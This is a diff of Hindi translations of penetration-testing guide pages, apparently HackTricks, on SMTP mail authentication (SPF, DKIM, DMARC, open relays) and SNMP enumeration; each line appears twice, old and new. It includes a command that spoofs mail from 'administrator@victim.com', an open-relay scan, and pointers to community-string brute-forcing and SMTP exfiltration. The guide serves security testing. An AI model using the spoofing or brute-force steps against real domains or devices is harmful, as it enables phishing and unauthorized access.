<summary>यहाँ Python कोड</summary>
<summary>Pyhton code here</summary>
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
@ -219,7 +219,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
## SMTP Smuggling
SMTP Smuggling भेद्यता ने सभी SMTP सुरक्षा को बायपास करने की अनुमति दी (सुरक्षा के बारे में अधिक जानकारी के लिए अगले अनुभाग की जांच करें)। SMTP Smuggling के बारे में अधिक जानकारी के लिए देखें:
SMTP Smuggling भेद्यता ने सभी SMTP सुरक्षा को बायपास करने की अनुमति दी (सुरक्षा के बारे में अधिक जानकारी के लिए अगले अनुभाग को देखें)। SMTP Smuggling के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
smtp-smuggling.md
@ -229,13 +229,13 @@ smtp-smuggling.md
संस्थाएँ **SPF**, **DKIM**, और **DMARC** का उपयोग करके उनकी ओर से अनधिकृत ईमेल भेजने से रोकी जाती हैं क्योंकि SMTP संदेशों को धोखा देना आसान है।
इन **काउंटरमेशर्स के लिए एक पूर्ण गाइड** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) पर उपलब्ध है।
इन **प्रतिबंधों के लिए एक पूर्ण गाइड** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) पर उपलब्ध है।
### SPF
> [!CAUTION]
> SPF [2014 में "deprecated" हुआ था](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)। इसका मतलब है कि `_spf.domain.com` में **TXT रिकॉर्ड** बनाने के बजाय आप इसे `domain.com` में **एक ही सिंटैक्स** का उपयोग करके बनाते हैं।\
> इसके अलावा, पिछले spf रिकॉर्ड का पुन: उपयोग करने के लिए यह सामान्य है कि कुछ ऐसा पाया जाए जैसे `"v=spf1 include:_spf.google.com ~all"`
> इसके अलावा, पिछले spf रिकॉर्ड का पुन: उपयोग करने के लिए यह आम है कि कुछ ऐसा पाया जाए जैसे `"v=spf1 include:_spf.google.com ~all"`
**Sender Policy Framework** (SPF) एक तंत्र है जो Mail Transfer Agents (MTAs) को यह सत्यापित करने में सक्षम बनाता है कि क्या एक ईमेल भेजने वाला होस्ट संगठनों द्वारा परिभाषित अधिकृत मेल सर्वरों की सूची को पूछकर अधिकृत है। यह सूची, जो IP पते/रेंज, डोमेन, और अन्य संस्थाओं को **एक डोमेन नाम की ओर से ईमेल भेजने के लिए अधिकृत** करती है, SPF रिकॉर्ड में विभिन्न "**Mechanisms**" को शामिल करती है।
@ -250,19 +250,19 @@ smtp-smuggling.md
| IP4 | यदि भेजने वाला एक दिए गए IPv4 पते की रेंज में है, तो मेल खाता है। |
| IP6 | यदि भेजने वाला एक दिए गए IPv6 पते की रेंज में है, तो मेल खाता है। |
| MX | यदि डोमेन नाम का एक MX रिकॉर्ड है जो भेजने वाले के पते को हल करता है, तो यह मेल खाता है (यानी, मेल डोमेन के आने वाले मेल सर्वरों में से एक से आता है)। |
| PTR | यदि ग्राहक के पते के लिए डोमेन नाम (PTR रिकॉर्ड) दिए गए डोमेन में है और वह डोमेन नाम ग्राहक के पते को हल करता है (फॉरवर्ड-कन्फर्म्ड रिवर्स DNS), तो मेल खाता है। इस तंत्र को हतोत्साहित किया गया है और इसे संभवतः टाला जाना चाहिए। |
| PTR | यदि ग्राहक के पते के लिए डोमेन नाम (PTR रिकॉर्ड) दिए गए डोमेन में है और वह डोमेन नाम ग्राहक के पते को हल करता है (फॉरवर्ड-कन्फर्म्ड रिवर्स DNS), तो मेल खाता है। इस तंत्र की सिफारिश नहीं की जाती है और इसे संभवतः टाला जाना चाहिए। |
| EXISTS | यदि दिए गए डोमेन नाम का कोई भी पता हल होता है, तो मेल खाता है (कोई फर्क नहीं पड़ता कि यह किस पते को हल करता है)। इसका उपयोग शायद ही कभी किया जाता है। SPF मैक्रो भाषा के साथ यह DNSBL-queries जैसी अधिक जटिल मेल खाता है। |
| INCLUDE | किसी अन्य डोमेन की नीति को संदर्भित करता है। यदि उस डोमेन की नीति पास होती है, तो यह तंत्र पास होता है। हालाँकि, यदि शामिल की गई नीति विफल होती है, तो प्रसंस्करण जारी रहता है। किसी अन्य डोमेन की नीति को पूरी तरह से सौंपने के लिए, रीडायरेक्ट एक्सटेंशन का उपयोग किया जाना चाहिए। |
| REDIRECT | <p>एक रीडायरेक्ट एक अन्य डोमेन नाम की ओर इशारा करता है जो एक SPF नीति को होस्ट करता है, यह कई डोमेन को समान SPF नीति साझा करने की अनुमति देता है। यह तब उपयोगी होता है जब एक बड़ी संख्या में डोमेन होते हैं जो समान ईमेल बुनियादी ढाँचे को साझा करते हैं।</p><p>यह रीडायरेक्ट तंत्र में इंगित डोमेन की SPF नीति का उपयोग किया जाएगा।</p> |
| REDIRECT | <p>एक रीडायरेक्ट एक अन्य डोमेन नाम की ओर इशारा करता है जो एक SPF नीति को होस्ट करता है, यह कई डोमेन को समान SPF नीति साझा करने की अनुमति देता है। यह तब उपयोगी होता है जब एक बड़ी संख्या में डोमेन होते हैं जो समान ईमेल बुनियादी ढाँचे को साझा करते हैं।</p><p>रीडायरेक्ट तंत्र में निर्दिष्ट डोमेन की SPF नीति का उपयोग किया जाएगा।</p> |
यह पहचानना भी संभव है कि **Qualifiers** क्या संकेत करते हैं **यदि कोई तंत्र मेल खाता है तो क्या किया जाना चाहिए**। डिफ़ॉल्ट रूप से, **qualifier "+"** का उपयोग किया जाता है (तो यदि कोई तंत्र मेल खाता है, तो इसका मतलब है कि यह अनुमति दी गई है)।\
आप आमतौर पर **प्रत्येक SPF नीति के अंत में** कुछ ऐसा नोट करेंगे: **\~all** या **-all**। इसका उपयोग यह संकेत करने के लिए किया जाता है कि **यदि भेजने वाला किसी भी SPF नीति से मेल नहीं खाता है, तो आपको ईमेल को अविश्वसनीय (\~) के रूप में टैग करना चाहिए या ईमेल को अस्वीकार (-) करना चाहिए।**
#### Qualifiers
नीति के भीतर प्रत्येक तंत्र को चार क्वालिफायर में से एक द्वारा पूर्ववर्ती किया जा सकता है ताकि इच्छित परिणाम को परिभाषित किया जा सके:
नीति के भीतर प्रत्येक तंत्र को इच्छित परिणाम को परिभाषित करने के लिए चार क्वालिफायर में से एक द्वारा पूर्ववर्ती किया जा सकता है:
- **`+`**: एक PASS परिणाम के अनुरूप है। डिफ़ॉल्ट रूप से, तंत्र इस क्वालिफायर को मानते हैं, जिससे `+mx` `mx` के बराबर हो जाता है।
- **`+`**: एक PASS परिणाम के अनुरूप है। डिफ़ॉल्ट रूप से, तंत्र इस क्वालिफायर को मानते हैं, जिससे `+mx` `mx` के बराबर होता है।
- **`?`**: एक NEUTRAL परिणाम का प्रतिनिधित्व करता है, जिसे NONE (कोई विशिष्ट नीति नहीं) के समान माना जाता है।
- **`~`**: SOFTFAIL को दर्शाता है, जो NEUTRAL और FAIL के बीच एक मध्य भूमि के रूप में कार्य करता है। इस परिणाम को पूरा करने वाले ईमेल आमतौर पर स्वीकार किए जाते हैं लेकिन उचित रूप से चिह्नित होते हैं।
- **`-`**: FAIL को इंगित करता है, यह सुझाव देता है कि ईमेल को सीधे अस्वीकार किया जाना चाहिए।
@ -286,13 +286,13 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
परंपरागत रूप से, किसी भी डोमेन नाम को स्पूफ करना संभव था जिसके पास सही/कोई SPF रिकॉर्ड नहीं था। **आजकल**, यदि **ईमेल** किसी **डोमेन से आता है जिसके पास मान्य SPF रिकॉर्ड नहीं है**, तो इसे **स्वचालित रूप से अस्वीकृत/अविश्वसनीय के रूप में चिह्नित** किया जा सकता है।
परंपरागत रूप से, किसी भी डोमेन नाम को स्पूफ करना संभव था जिसके पास सही/कोई SPF रिकॉर्ड नहीं था। **आजकल**, यदि **ईमेल** किसी **डोमेन से आता है जिसके पास मान्य SPF रिकॉर्ड नहीं है**, तो इसे **स्वचालित रूप से अस्वीकृत/अविश्वसनीय के रूप में चिह्नित किया जा सकता है**
किसी डोमेन का SPF जांचने के लिए आप ऑनलाइन टूल का उपयोग कर सकते हैं: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
### DKIM (DomainKeys Identified Mail)
DKIM का उपयोग आउटबाउंड ईमेल पर हस्ताक्षर करने के लिए किया जाता है, जिससे उनके बाहरी मेल ट्रांसफर एजेंट्स (MTAs) द्वारा मान्यता प्राप्त की जा सके, जो DNS से डोमेन की सार्वजनिक कुंजी को पुनः प्राप्त करते हैं। यह सार्वजनिक कुंजी किसी डोमेन के TXT रिकॉर्ड में स्थित होती है। इस कुंजी तक पहुँचने के लिए, चयनकर्ता और डोमेन नाम दोनों को जानना आवश्यक है।
DKIM का उपयोग आउटबाउंड ईमेल पर हस्ताक्षर करने के लिए किया जाता है, जिससे उनके बाहरी मेल ट्रांसफर एजेंट (MTAs) द्वारा मान्यता प्राप्त की जा सके, जो DNS से डोमेन की सार्वजनिक कुंजी को पुनः प्राप्त करते हैं। यह सार्वजनिक कुंजी क डोमेन के TXT रिकॉर्ड में स्थित होती है। इस कुंजी तक पहुँचने के लिए, चयनकर्ता और डोमेन नाम दोनों को जानना आवश्यक है।
उदाहरण के लिए, कुंजी का अनुरोध करने के लिए, डोमेन नाम और चयनकर्ता आवश्यक हैं। ये मेल हेडर `DKIM-Signature` में पाए जा सकते हैं, जैसे कि `d=gmail.com;s=20120113`
@ -302,9 +302,9 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC (डोमेन-आधारित संदेश प्रमाणीकरण, रिपोर्टिंग और अनुपालन)
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC ईमेल सुरक्षा को SPF और DKIM प्रोटोकॉल पर आधारित करके बढ़ाता है। यह नीतियों को रेखांकित करता है जो मेल सर्वरों को एक विशिष्ट डोमेन से ईमेल के प्रबंधन में मार्गदर्शन करती हैं, जिसमें प्रमाणीकरण विफलताओं से निपटने और ईमेल प्रसंस्करण क्रियाओं के बारे में रिपोर्ट कहां भेजनी है, शामिल है
DMARC ईमेल सुरक्षा को SPF और DKIM प्रोटोकॉल पर आधारित करके बढ़ाता है। यह नीतियों को रेखांकित करता है जो विशेष डोमेन से ईमेल के प्रबंधन में मेल सर्वरों का मार्गदर्शन करती हैं, जिसमें प्रमाणीकरण विफलताओं से निपटने और ईमेल प्रोसेसिंग क्रियाओं के बारे में रिपोर्ट भेजने के स्थान शामिल हैं
**DMARC रिकॉर्ड प्राप्त करने के लिए, आपको उपडोमेन \_dmarc को क्वेरी करना होगा**
```bash
@ -351,13 +351,13 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **ओपन रिले**
जब ईमेल भेजे जाते हैं, तो यह सुनिश्चित करना कि उन्हें स्पैम के रूप में चिह्नित नहीं किया जाता है, महत्वपूर्ण है। यह अक्सर **प्राप्तकर्ता द्वारा विश्वसनीय रिले सर्वर** के उपयोग के माध्यम से प्राप्त किया जाता है। हालाकि, एक सामान्य चुनौती यह है कि व्यवस्थापक यह नहीं जानते कि **कौन से IP रेंज सुरक्षित हैं**। इस समझ की कमी SMTP सर्वर को सेटअप करने में गलतियों का कारण बन सकती है, जो सुरक्षा आकलनों में अक्सर पहचानी जाती है।
जब ईमेल भेजे जाते हैं, तो यह सुनिश्चित करना कि उन्हें स्पैम के रूप में चिह्नित नहीं किया जाता है, महत्वपूर्ण है। यह अक्सर **प्राप्तकर्ता द्वारा विश्वसनीय रिले सर्वर** के उपयोग के माध्यम से प्राप्त किया जाता है। हालाकि, एक सामान्य चुनौती यह है कि व्यवस्थापक यह नहीं जानते कि **कौन से IP रेंज सुरक्षित हैं**। इस समझ की कमी SMTP सर्वर को सेटअप करने में गलतियों का कारण बन सकती है, जो सुरक्षा आकलनों में अक्सर पहचानी जाती है।
एक वर्कअराउंड जो कुछ व्यवस्थापक ईमेल वितरण समस्याओं से बचने के लिए उपयोग करते हैं, विशेष रूप से संभावित या चल रहे ग्राहकों के साथ संचार के संबंध में, यह है कि **किसी भी IP पते से कनेक्शन की अनुमति दें**। यह SMTP सर्वर के `mynetworks` पैरामीटर को सभी IP पते स्वीकार करने के लिए कॉन्फ़िगर करके किया जाता है, जैसा कि नीचे दिखाया गया है:
कुछ व्यवस्थापक ईमेल वितरण समस्याओं से बचने के लिए, विशेष रूप से संभावित या चल रहे ग्राहकों के साथ संचार के संबंध में, एक समाधान के रूप में **किसी भी IP पते से कनेक्शन की अनुमति देते हैं**। यह SMTP सर्वर के `mynetworks` पैरामीटर को सभी IP पते स्वीकार करने के लिए कॉन्फ़िगर करके किया जाता है, जैसा कि नीचे दिखाया गया है:
```bash
mynetworks = 0.0.0.0/0
```
एक मेल सर्वर यह जांचने के लिए कि क्या यह एक ओपन रिलेज है (जिसका मतलब है कि यह किसी भी बाहरी स्रोत से ईमेल को अग्रेषित कर सकता है), `nmap` टूल का सामान्यत: उपयोग किया जाता है। इसमें इसे परीक्षण करने के लिए एक विशिष्ट स्क्रिप्ट शामिल है। एक सर्वर पर वर्बोज़ स्कैन करने के लिए (उदाहरण के लिए, IP 10.10.10.10 के साथ) पोर्ट 25 पर `nmap` का उपयोग करते हुए कमांड है:
एक मेल सर्वर यह जांचने के लिए कि क्या यह एक ओपन रिलेज है (जिसका मतलब है कि यह किसी भी बाहरी स्रोत से ईमेल को अग्रेषित कर सकता है), `nmap` टूल का सामान्यत: उपयोग किया जाता है। इसमें इसे परीक्षण करने के लिए एक विशिष्ट स्क्रिप्ट शामिल है। एक सर्वर पर वर्बोज़ स्कैन करने के लिए (उदाहरण के लिए, IP 10.10.10.10 के साथ) पोर्ट 25 पर `nmap` का उपयोग करते हुए कमांड है:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -382,7 +382,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
> [!WARNING]
> यदि आपको **dkim python lib** में कुंजी को पार्स करते समय कोई **त्रुटि** मिलती है, तो इस निम्नलिखित का उपयोग करने में संकोच न करें।\
> यदि आपको **dkim python lib** का उपयोग करते समय कुंजी को पार्स करने में कोई **त्रुटि** मिलती है, तो इस निम्नलिखित का उपयोग करने में संकोच न करें।\
> **NOTE**: यह केवल एक गंदा फिक्स है ताकि उन मामलों में त्वरित जांच की जा सके जहाँ किसी कारणवश openssl निजी कुंजी **dkim द्वारा पार्स नहीं की जा सकती**
>
> ```
@ -475,28 +475,28 @@ s.sendmail(sender, [destination], msg_data)
### **अधिक जानकारी**
**इन सुरक्षा उपायों के बारे में अधिक जानकारी प्राप्त करें** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
**इन सुरक्षा उपायों के बारे में अधिक जानकारी के लिए** [**यहाँ देखें**](https://seanthegeek.net/459/demystifying-dmarc/)
### **अन्य फ़िशिंग संकेतक**
- डोमेन की आयु
- डोमेन की उम्र
- आईपी पते की ओर इशारा करने वाले लिंक
- लिंक हेरफेर तकनीकें
- संदिग्ध (असामान्य) अटैचमेंट
- टूटी हुई ईमेल सामग्री
- उपयोग किए गए मान जो मेल हेडर के मानों से भिन्न हैं
- मान जो मेल हेडर के मानों से भिन्न हैं
- एक मान्य और विश्वसनीय SSL प्रमाणपत्र का अस्तित्व
- वेब सामग्री फ़िल्टरिंग साइटों पर पृष्ठ का सबमिशन
## SMTP के माध्यम से एक्सफिल्ट्रेशन
## SMTP के माध्यम से डेटा निकालना
**यदि आप SMTP के माध्यम से डेटा भेज सकते हैं** [**यहाँ पढ़ें**](../../generic-hacking/exfiltration.md#smtp)**.**
**यदि आप SMTP के माध्यम से डेटा भेज सकते हैं** [**यह पढ़ें**](../../generic-hacking/exfiltration.md#smtp)**.**
## कॉन्फ़िग फ़ाइल
### पोस्टफिक्स
### Postfix
आमतौर पर, यदि स्थापित है, तो `/etc/postfix/master.cf` में **स्क्रिप्ट होती हैं जो निष्पादित होती हैं** जब उदाहरण के लिए एक नया मेल किसी उपयोगकर्ता द्वारा प्राप्त होता है। उदाहरण के लिए, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` का अर्थ है कि यदि उपयोगकर्ता मार्क द्वारा एक नया मेल प्राप्त होता है, तो `/etc/postfix/filtering` निष्पादित किया जाएगा।
आमतौर पर, यदि स्थापित है, तो `/etc/postfix/master.cf` में **स्क्रिप्ट होती हैं** जो उदाहरण के लिए, जब एक नया मेल किसी उपयोगकर्ता द्वारा प्राप्त होता है, तब निष्पादित होती हैं। उदाहरण के लिए, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` का अर्थ है कि यदि उपयोगकर्ता मार्क द्वारा एक नया मेल प्राप्त होता है, तो `/etc/postfix/filtering` निष्पादित किया जाएगा।
अन्य कॉन्फ़िग फ़ाइलें:
```
@ -520,7 +520,7 @@ Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -2,6 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
**SNMP - Simple Network Management Protocol** एक प्रोटोकॉल है जिसका उपयोग नेटवर्क में विभिन्न उपकरणों (जैसे राउटर, स्विच, प्रिंटर, IoTs...) की निगरानी के लिए किया जाता है।
@ -15,7 +16,7 @@ PORT STATE SERVICE REASON VERSION
### MIB
यह सुनिश्चित करने के लिए कि SNMP एक्सेस विभिन्न निर्माताओं और विभिन्न क्लाइंट-सर्वर संयोजनों के बीच काम करता है, **मैनेजमेंट इंफॉर्मेशन बेस (MIB)** बनाया गया था। MIB एक **स्वतंत्र प्रारूप है जो डिवाइस की जानकारी को संग्रहीत करने के लिए** है। एक MIB एक **टेक्स्ट** फ़ाइल है जिसमें एक डिवाइस के सभी क्वेरी करने योग्य **SNMP ऑब्जेक्ट्स** को एक **मानकीकृत** पेड़ पदानुक्रम में सूचीबद्ध किया गया है। इसमें कम से कम एक `ऑब्जेक्ट आइडेंटिफायर` (`OID`) होता है, जो आवश्यक **विशिष्ट पते** और एक **नाम** के अलावा, संबंधित ऑब्जेक्ट के प्रकार, एक्सेस अधिकारों और विवरण के बारे में जानकारी भी प्रदान करता है।\
MIB फ़ाइलें `एब्स्ट्रैक्ट सिंटैक्स नोटेशन वन` (`ASN.1`) आधारित ASCII टेक्स्ट प्रारूप में लिखी जाती हैं। **MIBs में डेटा नहीं होता**, लेकिन वे बताते हैं **कहाँ कौन सी जानकारी मिलेगी** और वह कैसी दिखती है, जो विशेष OID के लिए मान लौटाती है, या कौन सा डेटा प्रकार उपयोग किया जाता है।
MIB फ़ाइलें `एब्स्ट्रैक्ट सिंटैक्स नोटेशन वन` (`ASN.1`) आधारित ASCII टेक्स्ट प्रारूप में लिखी जाती हैं। **MIBs में डेटा नहीं होता**, लेकिन वे **यह समझाते हैं कि कौन सी जानकारी कहां मिलेगी** और यह कैसी दिखती है, जो विशेष OID के लिए मान लौटाती है, या कौन सा डेटा प्रकार उपयोग किया जाता है।
### OIDs
@ -27,16 +28,16 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
आप यहाँ वेब से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या मतलब है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\
आप यहाँ वेब से **OID पेड़** के माध्यम से **नेविगेट** कर सकते हैं: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) या **देख सकते हैं कि OID का क्या अर्थ है** (जैसे `1.3.6.1.2.1.1`) [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1) पर जाकर।\
कुछ **प्रसिद्ध OIDs** हैं जैसे कि [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) के भीतर जो MIB-2 द्वारा परिभाषित सरल नेटवर्क प्रबंधन प्रोटोकॉल (SNMP) वेरिएबल्स को संदर्भित करते हैं। और इस **OID से संबंधित OIDs** से आप कुछ दिलचस्प होस्ट डेटा (सिस्टम डेटा, नेटवर्क डेटा, प्रक्रियाओं का डेटा...) प्राप्त कर सकते हैं।
### **OID उदाहरण**
[**यहा से उदाहरण**](https://www.netadmintools.com/snmp-mib-and-oids/):
[**यहा से उदाहरण**](https://www.netadmintools.com/snmp-mib-and-oids/):
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
इस पते का विश्लेषण यहाँ है।
इस पते का विश्लेषण इस प्रकार है।
- 1 इसे ISO कहा जाता है और यह स्थापित करता है कि यह एक OID है। यही कारण है कि सभी OIDs "1" से शुरू होते हैं।
- 3 इसे ORG कहा जाता है और इसका उपयोग उस संगठन को निर्दिष्ट करने के लिए किया जाता है जिसने डिवाइस बनाया।
@ -45,17 +46,17 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
- 4 यह मान निर्धारित करता है कि यह डिवाइस एक निजी संगठन द्वारा बनाया गया है और न कि सरकारी।
- 1 यह मान दर्शाता है कि डिवाइस एक उद्यम या व्यवसाय इकाई द्वारा बनाया गया है।
ये पहले छह मान सभी डिवाइसों के लिए समान होते हैं और ये आपको उनके बारे में मूल जानकारी देते हैं। ये संख्याओं का अनुक्रम सभी OIDs के लिए समान होगा, सिवाय इसके कि जब डिवाइस सरकारी द्वारा बनाया गया हो।
ये पहले छह मान सभी डिवाइसों के लिए समान होते हैं और ये आपको उनके बारे में मूल जानकारी देते हैं। ये संख्याओं का अनुक्रम सभी OIDs के लिए समान होगा, सिवाय इसके कि डिवाइस सरकारी द्वारा बनाया गया हो।
अगले संख्याओं के सेट पर चलते हैं।
- 1452 उस संगठन का नाम देता है जिसने इस डिवाइस का निर्माण किया
- 1452 इस डिवाइस को बनाने वाले संगठन का नाम देता है।
- 1 डिवाइस के प्रकार को स्पष्ट करता है। इस मामले में, यह एक अलार्म घड़ी है।
- 2 यह निर्धारित करता है कि यह डिवाइस एक रिमोट टर्मिनल यूनिट है।
बाकी के मान डिवाइस के बारे में विशिष्ट जानकारी देते हैं।
- 5 एक विविक्त अलार्म बिंदु को दर्शाता है।
- 5 एक विशिष्ट अलार्म बिंदु को दर्शाता है।
- 1 डिवाइस में विशिष्ट बिंदु
- 3 पोर्ट
- 21 पोर्ट का पता
@ -68,43 +69,43 @@ MIB ऑब्जेक्ट IDs, या OIDs, के उच्चतम स्
SNMP के 2 महत्वपूर्ण संस्करण हैं:
- **SNMPv1**: मुख्य संस्करण, यह अभी भी सबसे सामान्य है, **प्रमाणीकरण एक स्ट्रिंग** (कम्युनिटी स्ट्रिंग) पर आधारित है जो **सादा पाठ** में यात्रा करता है (सभी जानकारी सादा पाठ में यात्रा करती है)। **संस्करण 2 और 2c** भी **सादा पाठ में ट्रैफ़िक भेजते हैं** और **प्रमाणीकरण के रूप में एक कम्युनिटी स्ट्रिंग का उपयोग करते हैं**
- **SNMPv3**: एक बेहतर **प्रमाणीकरण** रूप का उपयोग करता है और जानकारी **एन्क्रिप्टेड** यात्रा करती है ( (**शब्दकोश हमला** किया जा सकता है लेकिन SNMPv1 और v2 की तुलना में सही क्रेडेंशियल्स खोजना बहुत कठिन होगा)।
- **SNMPv3**: एक बेहतर **प्रमाणीकरण** रूप का उपयोग करता है और जानकारी **एन्क्रिप्टेड** यात्रा करती है ( (**शब्दकोश हमले** का प्रदर्शन किया जा सकता है लेकिन SNMPv1 और v2 की तुलना में सही क्रेडेंशियल्स खोजना बहुत कठिन होगा)।
### कम्युनिटी स्ट्रिंग्स
जैसा कि पहले उल्लेख किया गया, **MIB पर संग्रहीत जानकारी तक पहुँचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\
जैसा कि पहले उल्लेख किया गया है, **MIB पर संग्रहीत जानकारी तक पहुँचने के लिए आपको संस्करण 1 और 2/2c पर कम्युनिटी स्ट्रिंग और संस्करण 3 पर क्रेडेंशियल्स जानने की आवश्यकता है।**\
कम्युनिटी स्ट्रिंग्स के **2 प्रकार** हैं:
- **`public`** मुख्य रूप से **पढ़ने के लिए केवल** कार्य
- **`private`** **पढ़ने/लिखने** में सामान्य
ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, वहाँ **ऐसे ऑब्जेक्ट्स** हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल"** होते हैं।\
ध्यान दें कि **OID की लिखने की क्षमता उपयोग की गई कम्युनिटी स्ट्रिंग पर निर्भर करती है**, इसलिए **यहां तक कि** यदि आप पाते हैं कि "**public**" का उपयोग किया जा रहा है, तो आप कुछ मानों को **लिखने में सक्षम हो सकते हैं।** इसके अलावा, ऐसे ऑब्जेक्ट्स हो सकते हैं जो **हमेशा "पढ़ने के लिए केवल"** होते हैं।\
यदि आप एक ऑब्जेक्ट को **लिखने** की कोशिश करते हैं तो **`noSuchName` या `readOnly` त्रुटि** प्राप्त होती है\*\*.\*\*
संस्करण 1 और 2/2c में यदि आप एक **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया देता है, तो एक **मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**।
संस्करण 1 और 2/2c में यदि आप एक **खराब** कम्युनिटी स्ट्रिंग का उपयोग करते हैं तो सर्वर **प्रतिक्रिया** नहीं देगा। इसलिए, यदि यह प्रतिक्रिया देता है, तो **एक मान्य कम्युनिटी स्ट्रिंग का उपयोग किया गया था**।
## पोर्ट्स
[विकिपीडिया से](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
- SNMP एजेंट UDP पोर्ट **161** पर अनुरोध प्राप्त करता है।
- प्रबंधक पोर्ट **162** पर सूचनाएँ ( [ट्रैप्स](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) प्राप्त करता है
- प्रबंधक पोर्ट **162** पर सूचनाएँ प्राप्त करता है ([ट्रैप्स](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) और [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest))।
- जब [परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Transport_Layer_Security) या [डेटाग्राम परिवहन परत सुरक्षा](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security) के साथ उपयोग किया जाता है, तो अनुरोध पोर्ट **10161** पर प्राप्त होते हैं और सूचनाएँ पोर्ट **10162** पर भेजी जाती हैं।
## ब्रूट-फोर्स कम्युनिटी स्ट्रिंग (v1 और v2c)
**कम्युनिटी स्ट्रिंग का अनुमान लगाने के लिए** आप एक शब्दकोश हमले का प्रदर्शन कर सकते हैं। SNMP के खिलाफ ब्रूट-फोर्स हमले को करने के विभिन्न तरीकों के लिए [यहा देखें](../../generic-hacking/brute-force.md#snmp)। एक सामान्य उपयोग की जाने वाली कम्युनिटी स्ट्रिंग `public` है।
**कम्युनिटी स्ट्रिंग का अनुमान लगाने के लिए** आप एक शब्दकोश हमले का प्रदर्शन कर सकते हैं। SNMP के खिलाफ ब्रूट-फोर्स हमले के विभिन्न तरीकों के लिए [यहा देखें](../../generic-hacking/brute-force.md#snmp)। एक सामान्य उपयोग की जाने वाली कम्युनिटी स्ट्रिंग `public` है।
## SNMP की गणना
## SNMP की गणना करना
यह अनुशंसा की जाती है कि आप यह देखने के लिए निम्नलिखित स्थापित करें कि **डिवाइस से एकत्रित प्रत्येक OID का क्या अर्थ है**:
यह अनुशंसा की जाती है कि आप निम्नलिखित को स्थापित करें ताकि आप देख सकें कि **डिवाइस से एकत्रित प्रत्येक OID का क्या अर्थ है**:
```bash
apt-get install snmp-mibs-downloader
download-mibs
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
sudo vi /etc/snmp/snmp.conf
```
